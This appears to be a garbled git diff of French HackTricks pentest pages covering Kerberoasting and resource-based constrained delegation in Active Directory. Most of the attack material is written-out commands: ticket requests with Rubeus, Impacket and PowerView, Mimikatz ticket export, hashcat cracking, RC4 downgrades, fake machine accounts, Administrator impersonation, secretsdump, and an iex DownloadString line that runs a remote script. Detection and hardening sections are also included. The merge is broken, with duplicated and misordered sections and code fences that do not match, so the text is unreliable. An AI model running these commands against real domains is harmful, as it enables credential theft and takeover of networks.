> Les **outils de Kerberoasting** demandent généralement **`RC4 encryption`** lors de l'exécution de l'attaque et de l'initiation des demandes TGS-REQ. Cela est dû au fait que **RC4 est** [**plus faible**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) et plus facile à craquer hors ligne en utilisant des outils tels que Hashcat que d'autres algorithmes de chiffrement comme AES-128 et AES-256.\
> Les hachages RC4 (type 23) commencent par **`$krb5tgs$23$*`** tandis que ceux d'AES-256 (type 18) commencent par **`$krb5tgs$18$*`**.`
> De plus, faites attention car `Rubeus.exe kerberoast` demande automatiquement des tickets sur TOUS les comptes vulnérables, ce qui vous fera détecter. D'abord, trouvez des utilisateurs kerberoastables avec des privilèges intéressants, puis exécutez-le uniquement sur eux.
```bash
> La plupart des outils publics préfèrent demander des tickets de service RC4-HMAC (etype 23) car ils sont plus rapides à craquer que l'AES. Les hachages TGS RC4 commencent par `$krb5tgs$23$*`, AES128 par `$krb5tgs$17$*`, et AES256 par `$krb5tgs$18$*`. Cependant, de nombreux environnements passent uniquement à l'AES. Ne supposez pas que seul RC4 est pertinent.
> Évitez également le roasting "spray-and-pray". Le kerberoast par défaut de Rubeus peut interroger et demander des tickets pour tous les SPN et est bruyant. Énumérez et ciblez d'abord les principaux intéressants.
#### **Linux**
```bash
# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Le mot de passe sera demandé
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Énumérer les utilisateurs kerberoastable
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump des hashes
```
Multi-features tools including a dump of kerberoastable users:
```bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
```
#### Windows
- **Enumerate Kerberoastable users**
```bash
# Obtenir des utilisateurs Kerberoastable
setspn.exe -Q */* #Ceci est un binaire intégré. Concentrez-vous sur les comptes utilisateurs
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
```
- **Technique 1: Ask for TGS and dump it from memory**
```bash
#Obtenir TGS en mémoire d'un seul utilisateur
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Exemple : MSSQLSvc/mgmt.domain.local
#Obtenir les TGS pour TOUS les comptes kerberoastables (PC inclus, pas vraiment intelligent)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#Lister les tickets kerberos en mémoire
klist
# Les extraire de la mémoire
Invoke-Mimikatz -Command '"kerberos::list /export"' #Exporter les tickets vers le dossier courant
# Transformer le ticket kirbi en john
python2.7 kirbi2john.py sqldev.kirbi
# Transformer john en hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```
- **Technique 2: Automatic tools**
```bash
# Powerview : Obtenir le hash Kerberoast d'un utilisateur
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Utilisation de PowerView Ex : MSSQLSvc/mgmt.domain.local
# Powerview : Obtenir tous les hashes Kerberoast
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Utilisateur spécifique
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Obtenir les admins
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```
> [!WARNING]
> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
### Cracking
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Persistence
If you have **enough permissions** over a user you can **make it kerberoastable**:
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
```
You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`
### Mitigation
Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
```bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
```
To mitigate the risk of Kerberoasting:
- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
## Kerberoast w/o domain account
In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
> [!WARNING]
> You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
### Attaque
#### Linux
- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
```bash
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
```
# Metasploit Framework
msf> use auxiliary/gather/get_user_spns
# Impacket — request and save roastable hashes (prompts for password)
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# With NT hash
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# Target a specific user’s SPNs only (reduce noise)
GetUserSPNs.py -request-user <samAccountName> -dc-ip <DC_IP> <DOMAIN>/<USER>
# kerberoast by @skelsec (enumerate and roast)
# 1) Enumerate kerberoastable users via LDAP
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -o kerberoastable
# 2) Request TGS for selected SPNs and dump
kerberoast spnroast 'kerberos+password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes
```
Outils multi-fonction incluant des vérifications kerberoast :
```bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN> -ip <DC_IP> -u <USER> -p <PASS> -c
```
#### Windows
- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
- Énumérer les utilisateurs susceptibles d'être kerberoastés
```powershell
# Built-in
setspn.exe -Q */* # Focus on entries where the backing object is a user, not a computer ($)
```bash
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
# PowerView
Get-NetUser -SPN | Select-Object serviceprincipalname
# Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.)
.\Rubeus.exe kerberoast /stats
```
- Technique 1 : Demander un TGS et extraire de la mémoire
```powershell
# Acquire a single service ticket in memory for a known SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>" # e.g. MSSQLSvc/mgmt.domain.local
## References
# Get all cached Kerberos tickets
klist
# Export tickets from LSASS (requires admin)
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Convert to cracking formats
python2.7 kirbi2john.py .\some_service.kirbi > tgs.john
# Optional: convert john -> hashcat etype23 if needed
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat
```
- Technique 2 : Outils automatiques
```powershell
# PowerView — single SPN to hashcat format
Request-SPNTicket -SPN "<SPN>" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
# PowerView — all user SPNs -> CSV
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus — default kerberoast (be careful, can be noisy)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# Rubeus — target a single account
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast
# Rubeus — target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
```
> [!WARNING]
> Une demande TGS génère l'événement de sécurité Windows 4769 (Un ticket de service Kerberos a été demandé).
### OPSEC et environnements uniquement AES
- Demandez RC4 intentionnellement pour les comptes sans AES :
- Rubeus : `/rc4opsec` utilise tgtdeleg pour énumérer les comptes sans AES et demande des tickets de service RC4.
- Rubeus : `/tgtdeleg` avec kerberoast déclenche également des demandes RC4 lorsque cela est possible.
- Rôtissez les comptes uniquement AES au lieu d'échouer silencieusement :
- Rubeus : `/aes` énumère les comptes avec AES activé et demande des tickets de service AES (etype 17/18).
- Si vous détenez déjà un TGT (PTT ou d'un .kirbi), vous pouvez utiliser `/ticket:<blob|path>` avec `/spn:<SPN>` ou `/spns:<file>` et sauter LDAP.
- Ciblage, limitation et moins de bruit :
- Utilisez `/user:<sam>`, `/spn:<spn>`, `/resultlimit:<N>`, `/delay:<ms>` et `/jitter:<1-100>`.
- Filtrez pour des mots de passe probablement faibles en utilisant `/pwdsetbefore:<MM-dd-yyyy>` (anciens mots de passe) ou ciblez des OUs privilégiés avec `/ou:<DN>`.
Exemples (Rubeus) :
```powershell
# Kerberoast only AES-enabled accounts
.\Rubeus.exe kerberoast /aes /outfile:hashes.aes
# Request RC4 for accounts without AES (downgrade via tgtdeleg)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4
# Roast a specific SPN with an existing TGT from a non-domain-joined host
.\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local
```
### Craquage
```bash
# John the Ripper
john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast
# Hashcat
# RC4-HMAC (etype 23)
hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt
# AES128-CTS-HMAC-SHA1-96 (etype 17)
hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt
# AES256-CTS-HMAC-SHA1-96 (etype 18)
hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt
```
### Persistance / Abus
Si vous contrôlez ou pouvez modifier un compte, vous pouvez le rendre kerberoastable en ajoutant un SPN :
```powershell
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose
```
Rétrograder un compte pour activer RC4 afin de faciliter le craquage (nécessite des privilèges d'écriture sur l'objet cible) :
```powershell
# Allow only RC4 (value 4) — very noisy/risky from a blue-team perspective
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4}
# Mixed RC4+AES (value 28)
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28}
```
Vous pouvez trouver des outils utiles pour les attaques kerberoast ici : https://github.com/nidem/kerberoast
Si vous trouvez cette erreur sous Linux : `Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)`, cela est dû à un décalage horaire local. Synchronisez avec le DC :
- `ntpdate <DC_IP>` (déprécié sur certaines distributions)
- `rdate -n <DC_IP>`
### Détection
Le kerberoasting peut être furtif. Recherchez l'ID d'événement 4769 des DC et appliquez des filtres pour réduire le bruit :
- Exclure le nom de service `krbtgt` et les noms de service se terminant par `$` (comptes d'ordinateur).
- Exclure les demandes provenant de comptes machines (`*$$@*`).
- Seulement les demandes réussies (Code d'échec `0x0`).
- Suivre les types de chiffrement : RC4 (`0x17`), AES128 (`0x11`), AES256 (`0x12`). Ne pas alerter uniquement sur `0x17`.
Exemple de triage PowerShell :
```powershell
Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 |
Where-Object {
($_.Message -notmatch 'krbtgt') -and
($_.Message -notmatch '\$$') -and
($_.Message -match 'Failure Code:\s+0x0') -and
($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and
($_.Message -notmatch '\$@')
} |
Select-Object -ExpandProperty Message
```
Idées supplémentaires :
- Établir une utilisation normale des SPN par hôte/utilisateur ; alerter sur de grandes rafales de demandes SPN distinctes provenant d'un seul principal.
- Signaler une utilisation inhabituelle de RC4 dans des domaines renforcés par AES.
### Atténuation / Renforcement
- Utiliser gMSA/dMSA ou des comptes machines pour les services. Les comptes gérés ont des mots de passe aléatoires de plus de 120 caractères et se renouvellent automatiquement, rendant le craquage hors ligne impraticable.
- Appliquer AES sur les comptes de service en définissant `msDS-SupportedEncryptionTypes` sur AES uniquement (décimal 24 / hex 0x18) puis en faisant tourner le mot de passe afin que les clés AES soient dérivées.
- Dans la mesure du possible, désactiver RC4 dans votre environnement et surveiller les tentatives d'utilisation de RC4. Sur les DC, vous pouvez utiliser la valeur de registre `DefaultDomainSupportedEncTypes` pour orienter les valeurs par défaut pour les comptes sans `msDS-SupportedEncryptionTypes` défini. Tester de manière approfondie.
- Supprimer les SPN inutiles des comptes utilisateurs.
- Utiliser des mots de passe de compte de service longs et aléatoires (plus de 25 caractères) si les comptes gérés ne sont pas réalisables ; interdire les mots de passe courants et auditer régulièrement.
### Kerberoast sans un compte de domaine (STs demandés par AS)
En septembre 2022, Charlie Clark a montré que si un principal ne nécessite pas de pré-authentification, il est possible d'obtenir un ticket de service via un KRB_AS_REQ conçu en modifiant le sname dans le corps de la demande, obtenant ainsi un ticket de service au lieu d'un TGT. Cela reflète le AS-REP roasting et ne nécessite pas de crédentiels de domaine valides.
Voir les détails : article de Semperis “New Attack Paths: AS-requested STs”.
> [!WARNING]
> Vous devez fournir une liste d'utilisateurs car sans crédentiels valides, vous ne pouvez pas interroger LDAP avec cette technique.
Linux
- Impacket (PR #1413):
```bash
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/
```
Windows
- Rubeus (PR #139):
```powershell
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE
```
Lié
Si vous ciblez des utilisateurs AS-REP roastable, voir aussi :
{{#ref}}
asreproast.md
{{#endref}}
## Références
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)
- Microsoft Security Blog (2024-10-11) – Les conseils de Microsoft pour aider à atténuer le Kerberoasting : https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/
- SpecterOps – Documentation sur Rubeus Roasting : https://docs.specterops.io/ghostpack/rubeus/roasting
{{#include ../../banners/hacktricks-training.md}}

134
src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
View File

@ -1,35 +1,35 @@
# Délégation contrainte basée sur les ressources
# Délégation Contraignante Basée sur les Ressources
{{#include ../../banners/hacktricks-training.md}}
## Notions de base de la délégation contrainte basée sur les ressources
## Notions de Base de la Délégation Contraignante Basée sur les Ressources
C'est similaire à la [Délégation contrainte](constrained-delegation.md) de base mais **au lieu** de donner des permissions à un **objet** pour **imposer n'importe quel utilisateur contre une machine**. La Délégation contrainte basée sur les ressources **définit** dans **l'objet qui peut imposer n'importe quel utilisateur contre lui**.
Ceci est similaire à la [Délégation Contraignante](constrained-delegation.md) de base mais **au lieu** de donner des permissions à un **objet** pour **imposer n'importe quel utilisateur contre une machine**. La Délégation Contraignante Basée sur les Ressources **définit** dans **l'objet qui peut imposer n'importe quel utilisateur contre lui**.
Dans ce cas, l'objet contraint aura un attribut appelé _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ avec le nom de l'utilisateur qui peut imposer n'importe quel autre utilisateur contre lui.
Une autre différence importante entre cette Délégation contrainte et les autres délégations est que tout utilisateur avec **des permissions d'écriture sur un compte machine** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) peut définir le **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (Dans les autres formes de Délégation, vous aviez besoin de privilèges d'administrateur de domaine).
Une autre différence importante de cette Délégation Contraignante par rapport aux autres délégations est que tout utilisateur avec **des permissions d'écriture sur un compte machine** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) peut définir le **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (Dans les autres formes de Délégation, vous aviez besoin de privilèges d'administrateur de domaine).
### Nouveaux concepts
### Nouveaux Concepts
Dans la Délégation contrainte, il a été dit que le **`TrustedToAuthForDelegation`** drapeau à l'intérieur de la valeur _userAccountControl_ de l'utilisateur est nécessaire pour effectuer un **S4U2Self.** Mais ce n'est pas complètement vrai.\
La réalité est que même sans cette valeur, vous pouvez effectuer un **S4U2Self** contre n'importe quel utilisateur si vous êtes un **service** (avez un SPN) mais, si vous **avez `TrustedToAuthForDelegation`** le TGS retourné sera **Forwardable** et si vous **n'avez pas** ce drapeau, le TGS retourné **ne sera pas** **Forwardable**.
Dans la Délégation Contraignante, il a été dit que le **`TrustedToAuthForDelegation`** drapeau à l'intérieur de la valeur _userAccountControl_ de l'utilisateur est nécessaire pour effectuer un **S4U2Self.** Mais ce n'est pas complètement vrai.\
La réalité est que même sans cette valeur, vous pouvez effectuer un **S4U2Self** contre n'importe quel utilisateur si vous êtes un **service** (avez un SPN) mais, si vous **avez `TrustedToAuthForDelegation`** le TGS retourné sera **Transférable** et si vous **n'avez pas** ce drapeau, le TGS retourné **ne sera pas** **Transférable**.
Cependant, si le **TGS** utilisé dans **S4U2Proxy** **n'est PAS Forwardable**, essayer d'abuser d'une **délégation contrainte de base** **ne fonctionnera pas**. Mais si vous essayez d'exploiter une **délégation contrainte basée sur les ressources, cela fonctionnera**.
Cependant, si le **TGS** utilisé dans **S4U2Proxy** **n'est PAS Transférable**, essayer d'abuser d'une **délégation contraignante de base** **ne fonctionnera pas**. Mais si vous essayez d'exploiter une **délégation contraignante basée sur les ressources, cela fonctionnera**.
### Structure de l'attaque
### Structure de l'Attaque
> Si vous avez **des privilèges d'écriture équivalents** sur un **compte d'ordinateur**, vous pouvez obtenir un **accès privilégié** sur cette machine.
> Si vous avez **des privilèges d'écriture équivalents** sur un compte **Ordinateur**, vous pouvez obtenir un **accès privilégié** sur cette machine.
Supposons que l'attaquant a déjà **des privilèges d'écriture équivalents sur l'ordinateur de la victime**.
1. L'attaquant **compromet** un compte qui a un **SPN** ou **en crée un** (“Service A”). Notez que **tout** _Utilisateur Admin_ sans aucun autre privilège spécial peut **créer** jusqu'à 10 objets d'ordinateur (**_MachineAccountQuota_**) et leur attribuer un **SPN**. Donc, l'attaquant peut simplement créer un objet d'ordinateur et définir un SPN.
2. L'attaquant **abuse de son privilège d'ÉCRITURE** sur l'ordinateur de la victime (ServiceB) pour configurer **la délégation contrainte basée sur les ressources pour permettre à ServiceA d'imposer n'importe quel utilisateur** contre cet ordinateur de la victime (ServiceB).
1. L'attaquant **compromet** un compte qui a un **SPN** ou **en crée un** (“Service A”). Notez que **tout** _Utilisateur Admin_ sans aucun autre privilège spécial peut **créer** jusqu'à 10 objets Ordinateur (**_MachineAccountQuota_**) et leur attribuer un **SPN**. Donc, l'attaquant peut simplement créer un objet Ordinateur et définir un SPN.
2. L'attaquant **abuse de son privilège d'ÉCRITURE** sur l'ordinateur de la victime (ServiceB) pour configurer **la délégation contraignante basée sur les ressources pour permettre à ServiceA d'imposer n'importe quel utilisateur** contre cet ordinateur de la victime (ServiceB).
3. L'attaquant utilise Rubeus pour effectuer une **attaque S4U complète** (S4U2Self et S4U2Proxy) de Service A à Service B pour un utilisateur **avec un accès privilégié à Service B**.
1. S4U2Self (depuis le compte SPN compromis/créé) : Demande un **TGS d'Administrateur pour moi** (Non Forwardable).
2. S4U2Proxy : Utilise le **TGS non Forwardable** de l'étape précédente pour demander un **TGS** de **l'Administrateur** au **hôte victime**.
3. Même si vous utilisez un TGS non Forwardable, comme vous exploitez la délégation contrainte basée sur les ressources, cela fonctionnera.
1. S4U2Self (depuis le compte SPN compromis/créé) : Demande un **TGS d'Administrateur à moi** (Non Transférable).
2. S4U2Proxy : Utilise le **TGS non Transférable** de l'étape précédente pour demander un **TGS** de **l'Administrateur** à l'**hôte victime**.
3. Même si vous utilisez un TGS non Transférable, comme vous exploitez la délégation contraignante basée sur les ressources, cela fonctionnera.
4. L'attaquant peut **passer le ticket** et **imposer** l'utilisateur pour obtenir **l'accès au ServiceB de la victime**.
Pour vérifier le _**MachineAccountQuota**_ du domaine, vous pouvez utiliser :
@ -48,9 +48,9 @@ New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '
# Check if created
Get-DomainComputer SERVICEA
```
### Configurer la délégation contrainte basée sur les ressources
### Configuration de la délégation contrainte basée sur les ressources
**Utiliser le module PowerShell activedirectory**
**Utilisation du module PowerShell activedirectory**
```bash
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
@ -70,7 +70,7 @@ msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
```
### Réaliser une attaque S4U complète
### Réalisation d'une attaque S4U complète (Windows/Rubeus)
Tout d'abord, nous avons créé le nouvel objet Ordinateur avec le mot de passe `123456`, donc nous avons besoin du hash de ce mot de passe :
```bash
@ -86,28 +86,107 @@ Vous pouvez générer plus de tickets pour plus de services en demandant une seu
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
```
> [!CAUTION]
> Notez que les utilisateurs ont un attribut appelé "**Cannot be delegated**". Si un utilisateur a cet attribut à True, vous ne pourrez pas l'impliquer. Cette propriété peut être vue dans bloodhound.
> Notez que les utilisateurs ont un attribut appelé "**Cannot be delegated**". Si un utilisateur a cet attribut à True, vous ne pourrez pas l'imiter. Cette propriété peut être vue dans bloodhound.
### Outils Linux : RBCD de bout en bout avec Impacket (2024+)
Si vous opérez depuis Linux, vous pouvez effectuer la chaîne RBCD complète en utilisant les outils officiels d'Impacket :
```bash
# 1) Create attacker-controlled machine account (respects MachineAccountQuota)
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'
# 2) Grant RBCD on the target computer to FAKE01$
# -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!'
# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service
impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123'
# 4) Use the ticket (ccache) against the target service
export KRB5CCNAME=$(pwd)/Administrator.ccache
# Example: dump local secrets via Kerberos (no NTLM)
impacket-secretsdump -k -no-pass Administrator@victim.domain.local
```
Notes
- Si la signature LDAP/LDAPS est appliquée, utilisez `impacket-rbcd -use-ldaps ...`.
- Préférez les clés AES ; de nombreux domaines modernes restreignent RC4. Impacket et Rubeus prennent tous deux en charge les flux uniquement AES.
- Impacket peut réécrire le `sname` ("AnySPN") pour certains outils, mais obtenez le SPN correct chaque fois que possible (par exemple, CIFS/LDAP/HTTP/HOST/MSSQLSvc).
### Accès
La dernière ligne de commande effectuera l'**attaque S4U complète et injectera le TGS** de l'Administrateur vers l'hôte victime en **mémoire**.\
Dans cet exemple, un TGS pour le service **CIFS** a été demandé à l'Administrateur, vous pourrez donc accéder à **C$** :
La dernière ligne de commande effectuera la **complète attaque S4U et injectera le TGS** de l'Administrateur vers l'hôte victime en **mémoire**.\
Dans cet exemple, un TGS pour le service **CIFS** a été demandé par l'Administrateur, vous pourrez donc accéder à **C$** :
```bash
ls \\victim.domain.local\C$
```
### Abuser de différents tickets de service
### Abuser différents tickets de service
Apprenez à propos des [**tickets de service disponibles ici**](silver-ticket.md#available-services).
Apprenez-en plus sur les [**tickets de service disponibles ici**](silver-ticket.md#available-services).
## Énumération, audit et nettoyage
### Énumérer les ordinateurs avec RBCD configuré
PowerShell (décodage du SD pour résoudre les SIDs) :
```powershell
# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
Import-Module ActiveDirectory
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
ForEach-Object {
$raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity"
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0
$sd.DiscretionaryAcl | ForEach-Object {
$sid = $_.SecurityIdentifier
try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value }
[PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask }
}
}
```
Impacket (lire ou vider avec une seule commande) :
```bash
# Read who can delegate to VICTIM
impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'
```
### Nettoyage / réinitialisation RBCD
- PowerShell (effacer l'attribut) :
```powershell
Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
# Or using the friendly property
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null
```
- Impacket:
```bash
# Remove a specific principal from the SD
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!'
# Or flush the whole list
impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!'
```
## Erreurs Kerberos
- **`KDC_ERR_ETYPE_NOTSUPP`** : Cela signifie que Kerberos est configuré pour ne pas utiliser DES ou RC4 et que vous ne fournissez que le hachage RC4. Fournissez à Rubeus au moins le hachage AES256 (ou fournissez-lui simplement les hachages rc4, aes128 et aes256). Exemple : `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
- **`KRB_AP_ERR_SKEW`** : Cela signifie que l'heure de l'ordinateur actuel est différente de celle du DC et que Kerberos ne fonctionne pas correctement.
- **`preauth_failed`** : Cela signifie que le nom d'utilisateur donné + les hachages ne fonctionnent pas pour se connecter. Vous avez peut-être oublié de mettre le "$" dans le nom d'utilisateur lors de la génération des hachages (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
